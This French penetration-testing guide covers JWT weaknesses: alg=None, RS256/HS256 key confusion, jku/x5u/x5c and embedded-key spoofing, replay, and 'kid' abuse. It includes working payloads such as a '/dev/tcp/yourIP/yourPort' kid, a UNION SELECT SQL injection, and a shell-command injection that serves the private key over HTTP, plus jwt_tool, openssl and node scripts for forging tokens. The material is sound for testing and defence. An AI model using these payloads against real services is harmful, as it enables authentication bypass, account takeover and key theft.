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Vulnérabilités JWT (Json Web Tokens)

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Une partie de ce post a été prise de : https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Auteur de l'outil de piratage de JWTs https://github.com/ticarpi/jwt_tool

Gains rapides

Exécutez jwt_tool avec le mode All Tests! et attendez les lignes vertes.

python3 jwt_tool.py -M at \
    -t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
    -rh "Authorization: Bearer eyJhbG...<JWT Token>"

Si vous avez de la chance, l'outil trouvera un cas où l'application web vérifie correctement le JWT :

Ensuite, vous pouvez rechercher la requête dans votre proxy ou extraire le JWT utilisé pour cette requête en utilisant jwt_tool :

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Altérer les données sans rien modifier

Vous pouvez simplement altérer les données en laissant la signature telle quelle et vérifier si le serveur vérifie la signature. Essayez de changer votre nom d'utilisateur en "admin", par exemple.

La signature est-elle vérifiée ?

  • Si un message d'erreur apparaît, la signature est vérifiée - lisez toutes les informations d'erreur verbeuses qui pourraient divulguer quelque chose de sensible.
  • Si la page retournée est différente, la signature est vérifiée.
  • Si la page est la même, alors la signature n'est pas vérifiée - il est temps de commencer à altérer les revendications de la charge utile pour voir ce que vous pouvez faire !

Origine

Vérifiez d'où provient le jeton dans l'historique de requêtes de votre proxy. Il devrait être créé sur le serveur, pas sur le client.

  • Si le jeton a été vu pour la première fois en provenance du côté client, alors la clé est accessible au code côté client - cherchez-la !
  • Si le jeton a été vu pour la première fois en provenance du serveur, alors tout va bien.

Durée

Vérifiez si le jeton dure plus de 24 heures... peut-être qu'il n'expire jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.

Brute-force HMAC secret

Voir cette page.

Modifier l'algorithme en None (CVE-2015-9235)

Définissez l'algorithme utilisé comme "None" et supprimez la partie signature.

Utilisez l'extension Burp appelée "JSON Web Token" pour essayer cette vulnérabilité et pour changer différentes valeurs à l'intérieur du JWT (envoyez la requête à Repeater et dans l'onglet "JSON Web Token", vous pouvez modifier les valeurs du jeton. Vous pouvez également choisir de mettre la valeur du champ "Alg" à "None").

Changer l'algorithme RS256(asymétrique) en HS256(symétrique) (CVE-2016-5431/CVE-2016-10555)

L'algorithme HS256 utilise la clé secrète pour signer et vérifier chaque message.
L'algorithme RS256 utilise la clé privée pour signer le message et utilise la clé publique pour l'authentification.

Si vous changez l'algorithme de RS256 à HS256, le code côté serveur utilise la clé publique comme clé secrète, puis utilise l'algorithme HS256 pour vérifier la signature.

Ensuite, en utilisant la clé publique et en changeant RS256 en HS256, nous pourrions créer une signature valide. Vous pouvez récupérer le certificat du serveur web en exécutant ceci :

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nouvelle clé publique dans l'en-tête

Un attaquant intègre une nouvelle clé dans l'en-tête du token et le serveur utilise cette nouvelle clé pour vérifier la signature (CVE-2018-0114).

Cela peut être fait avec l'extension Burp "JSON Web Tokens".
(Envoyez la requête au Repeater, sélectionnez "CVE-2018-0114" dans l'onglet JSON Web Token et envoyez la requête).

Spoofing JWKS

Si le token utilise une revendication d'en-tête "jku", vérifiez l'URL fournie. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le token. Modifiez le token pour pointer la valeur jku vers un service Web que vous pouvez surveiller le trafic.

Si vous obtenez une interaction HTTP, vous savez maintenant que le serveur essaie de charger des clés à partir de l'URL que vous fournissez. Utilisez l'option -S de jwt_tool avec l'argument -u http://example.com pour générer une nouvelle paire de clés, injectez votre URL fournie, générez un JWKS contenant la clé publique et signez le token avec la clé privée.

Problèmes de "kid"

kid est une revendication d'en-tête facultative qui contient un identifiant de clé, particulièrement utile lorsque vous avez plusieurs clés pour signer les tokens et que vous devez trouver la bonne pour vérifier la signature.

Problèmes de "kid" - révéler la clé

Si la revendication "kid" est utilisée dans l'en-tête, vérifiez le répertoire Web pour ce fichier ou une variation de celui-ci. Par exemple, si "kid":"key/12345", recherchez /key/12345 et /key/12345.pem sur la racine du Web.

Problèmes de "kid" - traversée de chemin

Si la revendication "kid" est utilisée dans l'en-tête, vérifiez si vous pouvez utiliser un fichier différent dans le système de fichiers. Choisissez un fichier dont vous pourriez prédire le contenu, ou essayez peut-être "kid":"/dev/tcp/yourIP/yourPort" pour tester la connectivité, ou même quelques charges utiles SSRF...
Utilisez l'option -T de jwt_tool pour altérer le JWT et changer la valeur de la revendication kid, puis choisissez de conserver la signature originale.

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

En utilisant des fichiers à l'intérieur de l'hôte avec un contenu connu, vous pouvez également forger un JWT valide. Par exemple, dans les systèmes Linux, le fichier /proc/sys/kernel/randomize_va_space a la valeur définie sur 2. Ainsi, en mettant ce chemin dans le paramètre "kid" et en utilisant "2" comme mot de passe symétrique pour générer le JWT, vous devriez être en mesure de générer un nouveau JWT valide.

Problèmes de "kid" - Injection SQL

Dans un scénario où le contenu de "kid" est utilisé pour récupérer le mot de passe de la base de données, vous pouvez changer la charge utile à l'intérieur du paramètre "kid" en : non-existent-index' UNION SELECT 'ATTACKER';-- - et ensuite signer le JWT avec la clé secrète ATTACKER.

Problèmes de "kid" - Injection OS

Dans un scénario où le paramètre "kid" contient un chemin d'accès au fichier avec la clé et que ce chemin est utilisé à l'intérieur d'une commande exécutée, vous pourriez être en mesure d'obtenir une RCE et d'exposer la clé privée avec une charge utile comme celle-ci : /root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

Attaques diverses

Les faiblesses suivantes sont connues et doivent être testées.

Attaques de relais entre services

Certaines applications Web utilisent un JWT "service" de confiance pour générer et gérer des jetons pour eux. Dans le passé, des cas se sont produits où un jeton généré pour l'un des clients du service JWT peut en fait être accepté par un autre client du service JWT.
Si vous observez que le JWT est émis ou renouvelé via un service tiers, il vaut la peine d'identifier si vous pouvez vous inscrire pour un compte sur un autre client de ce service avec votre même nom d'utilisateur/e-mail. Si c'est le cas, essayez de prendre ce jeton et de le rejouer dans une demande à votre cible. Est-il accepté ?

  • Si votre jeton est accepté, vous pouvez avoir un problème critique vous permettant de falsifier le compte de n'importe quel utilisateur. CEPENDANT, soyez conscient que si vous vous inscrivez sur une application tierce, vous devrez peut-être demander la permission pour des autorisations de test plus larges au cas où cela entrerait dans une zone grise légale !

Est-ce que "exp" est vérifié ?

La revendication de charge utile "exp" est utilisée pour vérifier l'expiration d'un jeton. Comme les JWT sont souvent utilisés en l'absence d'informations de session, ils doivent être manipulés avec soin - dans de nombreux cas, la capture et le renvoi du JWT de quelqu'un d'autre vous permettront de vous faire passer pour cet utilisateur.
Une atténuation contre les attaques de rejeu JWT (qui est conseillée par le JWT RFC) consiste à utiliser la revendication "exp" pour définir une heure d'expiration pour le jeton. Il est également important de mettre en place les vérifications pertinentes dans l'application pour s'assurer que cette valeur est traitée et que le jeton est rejeté lorsqu'il est expiré. Si le jeton contient une revendication "exp" et que les limites de temps de test le permettent, essayez de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Utilisez l'option -R de jwt_tool pour lire le contenu du jeton, qui inclut l'analyse des horodatages et la vérification d'expiration (horodatage en UTC)

  • Si le jeton est toujours validé dans l'application, cela peut constituer un risque de sécurité car le jeton peut NE JAMAIS expirer.

x5u et jku

jku

jku signifie URL de l'ensemble JWK.
Si le jeton utilise une revendication d'en-tête "jku", vérifiez l'URL fournie. Cela devrait pointer vers une URL contenant le fichier JWKS qui contient la clé publique pour vérifier le jeton. Modifiez le jeton pour pointer la valeur jku vers un service Web pour lequel vous pouvez surveiller le trafic.

Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Ensuite, vous pouvez utiliser par exemple jwt.io pour créer le nouveau JWT avec les clés publiques et privées créées et en pointant le paramètre jku vers le certificat créé. Afin de créer un certificat jku valide, vous pouvez télécharger l'original et modifier les paramètres nécessaires.

Vous pouvez obtenir les paramètres "e" et "n" à partir d'un certificat public en utilisant:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés en format PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. La sécurité de transport est requise pour transférer les certificats.

Essayez de modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle et vérifiez si une requête est reçue. Dans ce cas, vous pourriez altérer le JWT.

Pour forger un nouveau jeton en utilisant un certificat contrôlé par vous, vous devez créer le certificat et extraire les clés publiques et privées :

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Ensuite, vous pouvez utiliser par exemple jwt.io pour créer le nouveau JWT avec les clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.

Vous pouvez également exploiter ces deux vulnérabilités pour les SSRF.

x5c

Ce paramètre peut contenir le certificat en base64 :

Si l'attaquant génère un certificat auto-signé et crée un jeton forgé en utilisant la clé privée correspondante et remplace la valeur du paramètre "x5c" par le certificat nouvellement généré et modifie les autres paramètres, à savoir n, e et x5t, alors essentiellement le jeton forgé serait accepté par le serveur.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Clé publique intégrée (CVE-2018-0114)

Si le JWT a intégré une clé publique comme dans le scénario suivant:

En utilisant le script nodejs suivant, il est possible de générer une clé publique à partir de ces données:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Il est possible de générer une nouvelle clé privée/publique, d'insérer la nouvelle clé publique dans le jeton et de l'utiliser pour générer une nouvelle signature :

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Vous pouvez obtenir les valeurs "n" et "e" en utilisant ce script nodejs :

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Enfin, en utilisant la clé publique et privée et les nouvelles valeurs "n" et "e", vous pouvez utiliser jwt.io pour forger un nouveau JWT valide avec n'importe quelle information.

JTI (JWT ID)

La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher la relecture du jeton.
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour rejouer une requête (en ayant besoin d'envoyer 10000 requêtes entre chaque rejeu réussi).

Revendications enregistrées JWT

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Outils

{% embed url="https://github.com/ticarpi/jwt_tool" %}


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